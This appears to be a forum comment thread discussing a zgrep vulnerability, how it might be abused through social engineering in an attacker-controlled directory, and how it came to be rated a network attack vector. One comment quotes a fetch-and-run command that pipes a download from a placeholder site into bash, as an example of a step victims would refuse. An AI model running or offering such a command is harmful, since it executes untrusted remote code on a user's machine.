There aren't, to my knowledge, common programs or setups that would cause this to matter.
This would probably be used for social engineering at best, where the attacker convinces a victim to "hey, git clone my repo, and then run zgrep "bad string" * for some contrived reason"
Someone who's trying to assist someone else on discord or whatever probably won't consider running "zgrep" in an attacker controlled directory dangerous, so they might do it, while if the attacker said "I need help, curl https://my-site.com | bash to repro", the victim would absolutely not do it.
You’d be surprised. I wrote a Postfix tutorial ages ago and left my real email address in the To: of an example test email. I subsequently got a lot of emails from root@s with the exact same title and body over the years. Too many people copy paste anything labeled as instruction without a second thought.
I don't understand the bar to be called a Network Attack Vector. Surely there's more to this than asking the user to run shell commands right?
Perhaps that's why?